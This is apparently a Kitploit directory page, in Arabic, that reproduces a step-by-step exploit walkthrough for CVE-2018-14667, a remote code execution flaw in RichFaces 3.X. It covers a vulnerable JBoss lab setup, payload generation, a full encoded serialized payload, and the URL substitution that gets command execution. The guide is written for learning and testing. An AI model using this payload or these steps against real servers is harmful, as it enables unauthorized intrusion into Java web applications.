Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-14667 — كل ما يتعلق بـ CVE-2018-14667؛ من ماهيته إلى كيفية استغلاله بنجاح. | Kitploit
أدوات/GitHubGitHub/syriusbughunt/cve-2018-14667
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالتعلم والتعليمتطوير الحمولاتمختبرات وتدريب عملي
GitHubsyriusbughunt/cve-2018-14667

CVE-2018-14667

كل ما يتعلق بـ CVE-2018-14667؛ من ماهيته إلى كيفية استغلاله بنجاح.

عرض المستودع
5092منذ 7 سنواتتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-14667

بعد قضاء وقت طويل في فهم واستغلال هذا الثغرة (CVE) بشكل صحيح، قررت بناء مستودع حول خلل RCE في RichFaces 3.X ومشاركة الخطوات التفصيلية مع المجتمع.

0x00 : مقدمة حول خلل RichFaces 3.X

في يوم الاثنين، 19 نوفمبر، نشر Joao F M Figueiredo مقالًا مفصلاً (https://seclists.org/fulldisclosure/2018/Nov/47) حول ثغرة حرجة عالية الخطورة في RichFaces.
النتيجة الأساسية CVSS3 9.8

تسمح هذه الثغرة لأي مستخدم غير مصادق بتنفيذ أوامر برمجية عن بُعد على أي تطبيق ويب يستخدم RichFaces 3.X (جميع الإصدارات)، وهو أسوأ سيناريو ممكن.

0x01 : هل أنا متأثر؟ 

حسنًا، إذا كنت تشغّل RichFaces 3.X (أي إصدار من RichFaces 3) وترى الكود التالي في مصدرك، فمن المحتمل أنك عرضة لثغرة تنفيذ الأوامر عن بُعد CVE-2018-14667:

  • org.ajax4jsf.resource.InternetResource
  • org.ajax4jsf.resource.SerializableResource
  • javax.el.Expression
  • javax.faces.el.MethodBinding
  • javax.faces.component,StateHolderSaver
  • java.awt.Color

0x02 : تشغيل بيئة قابلة للاستغلال لاختبار الثغرة 

سأعيد شرح ما تم تغطيته بالفعل في مقال seclists.org حول كيفية نشر بيئة قابلة للاستغلال.

  1. قم بتنزيل JBoss 5.1.0GA وتطبيقًا تجريبيًا يحتوي على تطبيق PhotoAlbum الخاص بـ RichFaces.
    → http://downloads.jboss.org/richfaces/releases/3.3.X/3.3.4.Final/richfaces-examples-3.3.4.Final.zip →

https://sourceforge.net/projects/jboss/files/JBoss/JBoss-5.1.0.GA/
  • قم بفك ضغط ملف ZIP.
  • انسخ التطبيق richfaces-examples-3.3.4.Final/photoalbum/dist/photoalbum-ear-3.3.4.Final.ear إلى دليل النشر في JBoss jboss-5.1.0.GA/server/default/deploy/
  • ابدأ خادم تطبيقات JBoss باستخدام الصيغة التالية (تأكد قبل الإطلاق أن المنفذ 8080 غير مستخدم بالفعل): cd bin ; ./run.sh -b 0.0.0.0
  • ستحتاج إلى تصفح صفحة PhotoAlbum Index لتفعيل تطبيق الويب.
  • 0x03 : توليد حمولة صالحة 

    الآن الجزء الممتع! هنا واجهت صعوبات، لذا سأشرح بالتفصيل كيفية توليد حمولة صالحة دون تكرار الأخطاء التي ارتكبتها. أقترح أولاً استخدام Eclipse لترجمة الحمولة.

    1. قم بتنزيل Eclipse من الرابط التالي:
      → https://www.eclipse.org/downloads/
    2. شغّل Eclipse واختر إنشاء مشروع ويب جديد.
    3. احصل على مولّد الحمولة (يعود الفضل إلى orich1 من https://xz.aliyun.com/t/3264) المتوفر في هذا المستودع
      → https://raw.githubusercontent.com/syriusbughunt/CVE-2018-14667/master/Main.java
    4. استخرج أرشيف WAR من هذا المستودع (richfaces-demo-3.3.0.GA-tomcat6.war)، وانسخ جميع ملفات .jar من مجلد WEB-INF/lib/ إلى WebContent/WEB-INF/lib/ في مشروع Java Web الخاص بك في Eclipse
      → https://github.com/syriusbughunt/CVE-2018-14667/blob/master/richfaces-demo-3.3.0.GA-tomcat6.war
    5. أضف ملف Main.java في Eclipse؛ انقر بزر الماوس الأيمن على اسم مشروع Java Web الخاص بك في Eclipse، New، File.
    6. اجعل مجلد WebContent/WEB-INF/lib مصدر Build Path في Eclipse؛ انقر بزر الماوس الأيمن على مجلد lib، اختر Build Path، ثم Use as Source Folder.
    7. لنرى إن حالفك الحظ؛ انقر على زر التشغيل الأخضر لتشغيل المترجم. إذا حصلت على 0 أخطاء وحمولة صالحة في المخرجات، فهنيئًا، لديك الآن حمولة صالحة لـ CVE-2018-14667. أما إذا كنت تواجه جميع أنواع الأخطاء، فلا داعي للذعر. قد ترغب في التعليق على الأسطر التالية: 29,30,31,32,33,34,35 لتصبح بهذا الشكل:
    root@kitploit:~
            // Class clazz = Class.forName("javax.el.MethodExpression");
            // Field field = clazz.getField("serialVersionUID");
            // field.setAccessible(true);
            // Field modifiersField = Field.class.getDeclaredField("modifiers");
            // modifiersField.setAccessible(true);
            // modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
            // field.setLong(null, MethodExpressionSerialVersionUID);
    

    يجب أن تبدو المخرجات في Eclipse كما يلي:

    root@kitploit:~
    /DATA/eAHNVU1rE0EYnkarbf2qtqhVhLiKTUVmW6mHWgOFKiqkFpq2fvQgk82bZOJ-dWY2WSwVRUSwIkjxpiJ4bS!6B!ToJ9Jf4EEREUEE8SbOzKaJDeqhp-xpZvfZ533med59d-ErauYMHfRYHpMiCfuLPIcZcC9gFuAJDmysstk!wehxIghSV8eRLzG0NoU2WQyIgGHPFeAKgbaliqRETJu4eXM0UwRLDKbQegh9Kjmn0RXUlEItjpelOQrZyr65ROwA9Cb0pZYDiiLEOWIBx5bn-J4ruXFayEKnPDsLLE1KwM6!fJqcv!9mJIZiKdRq2YTzM8SBlRrSglE3LzW0cflOVnMItD1SST0zDYwSm14mGRsGQ1-V75YlMQ9cLcAGwTHYeJzkR0AUvOyJ0Jcn4dRztQ8INW1EKGSoKxItofW4J-bLuQ8!--!ENK6jiqsxPb5xK!39wtIxhVAKBlQYjFqFyIKAYuL7NrWIkGUjH-qLnGUSAgwn7l07ujD2UXvSmSEcohBqtQTapQ8fmmCbk8r42jNp0zqfMB3k7hqqvtZgqLJqkULjSmgx43HtUR3bace3BxZn287Ni-7Io53Vs9dBy21Xp94!-3VXGaC4W8uP0PV9MwymA-AC50EMq3gTPdVlyiOyD-QNWy6ih4Zix6rz8FjgCuqAofGR!IQhWWr3qVvyLkHCDWy7B0MIVsIQXmAV4qZwfJOoy-iZ!U-qvh9KA!auMKDeKOVA5tuOHxuebx1RDmjbyjcb42goYKhjSqccmVb5VBaXJj993jNzUjej7PGYQJ3aWerh0UD4gZBAII5A7TXDoy6TnpSX0Duz2rqmA1lKordMCIn0A7hZ9CGf1mscFoRjx4d6D!XGh!r6Dvf1J40VAyXZAE1ghHpwrdGj6R-zoa6f!xwNKvR2zbCl!ADNNcCB4hCNY7RZBxgIamM52EHF9xa9Xl18BTleL-YCN2lU2BsrOpVCVyWFh-h2I6Sw!Bf8Wwyv0IvVxVAMuEgay9SNkYFALao7xuUo!w0w9PXD.jsf
    

    0x04 : إرسال الحمولة والحصول على تنفيذ الأوامر عن بُعد 

    انتقل في متصفحك إلى خادم JBoss المحلي الذي يشغّل تطبيق PhotoAlbum على http://192.168.100.2:8080/photoalbum وانقر بزر الماوس الأيمن لعرض مصدر الصفحة. اضغط Ctrl+F وابحث عن '/DATA/'. يجب أن تجد شيئًا مشابهًا لهذا:

    root@kitploit:~
    src="/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/eAF1Uk1rFEEQrQwGEz9AXVFyCMQoCiI9JCZeYkBQ0cCsQccI6ql2pna2h57ptrtndzDozYuCF6!evOpFf4HXgJf8BkFEBBHEq929QUnAvlXx6r1Xr!rtd5g0Gs5LXTAssV0qTZ9pMrLRGbENQ!rOTnFmQ!NraBH86yx!i2BfAoczTWjpqqwt1dbCsaTEIcYC6yJe75WU2ZUE9lOruON8BE9hIoGpSua8zynfqSeHKBoKRaucl7OeomV9zMiwTFZK1o6bpdYJ3ZQiJ53ikPT9rQ-rr15!6kYQJTCdCTTmFla020NqNa8L5-GAcTN54LBwYuySyzglzVHwx9gTtNIqL3!OSTLT1MGAIGsYCXYXiy7Zgcyvt8ptYrisQw4AE4cAWg0zY9MOuhf3Pt568fn30sso4Dp!cf-Y3jx7nv58sH3ZI7yDU!4YZU-aIL2Xb61Sovfj5K-DH492vbYPbmo0CzOnN3mFBSUSXURMIa!tmm88AWg0dB6GpZk!jcsyxPJu-96Xr7ObN4Kw2yeycNz7Y1yy9caqxjogYWXhSGiH2fFZlWpHKdyOeZ2JJicTB-3YCO6KgRyxdmArMXfl4sKFhcVLc7u-yer8f63OuxuoP9Xj4!8_" style="opacity: 0.1" class="main-image"><span class="rich-tool-tip tooltip" 
    

    يمكنك رؤية الكائن المتسلسل بوضوح. هنا سنستبدل الكائن المتسلسل بحمولتنا للحصول على تنفيذ الأوامر عن بُعد. في متصفحك، غيّر الرابط إلى http://192.168.100.2:8080/photoalbum/a4j/s/3_3_3.Finalorg.ajax4jsf.resource.UserResource/n/n/DATA/YOUR-PAYLOAD-GENERATED-IN-ECLIPSE. كانت حمولتي تنفذ الأمر التالي 'touch /tmp/PoorRichFaces'. لنرى ما إذا نجحت:

    root@kitploit:~
    drwxrwxrwt 12 root   root    32768 Nov 30 01:45 .
    drwxr-xr-x 25 root   root     4096 Nov 25 12:57 ..
    -rw-rw-r--  1 syrius syrius      0 Nov 30 1:27 PoorRichFaces 
    

    أمر جميل، أليس كذلك؟ لقد حصلنا لتوّنا على RCE على تطبيق Java Web يعمل بـ RichFaces 3.X.

    0x05 : كيفية التصحيح؟ 

    قد لا يعجبك هذا الأمر لذا كن مستعدًا وتمسك بلوحة المفاتيح؛ لقد وصل RichFaces إلى نهاية دعم منتجه، لذا يجب على المستخدمين (أنت) تطبيق التصحيح الخاص بهم. لا داعي للذعر، إذا لم تتمكن من إيجاد طريقة للتصحيح، فلا تتردد في التواصل معي، يمكننا ترتيب أمر ما حتى أقوم بتصحيح تطبيقات Java Web الخاصة بك.

    البريد الإلكتروني: [email protected]

    تنزيل الأداة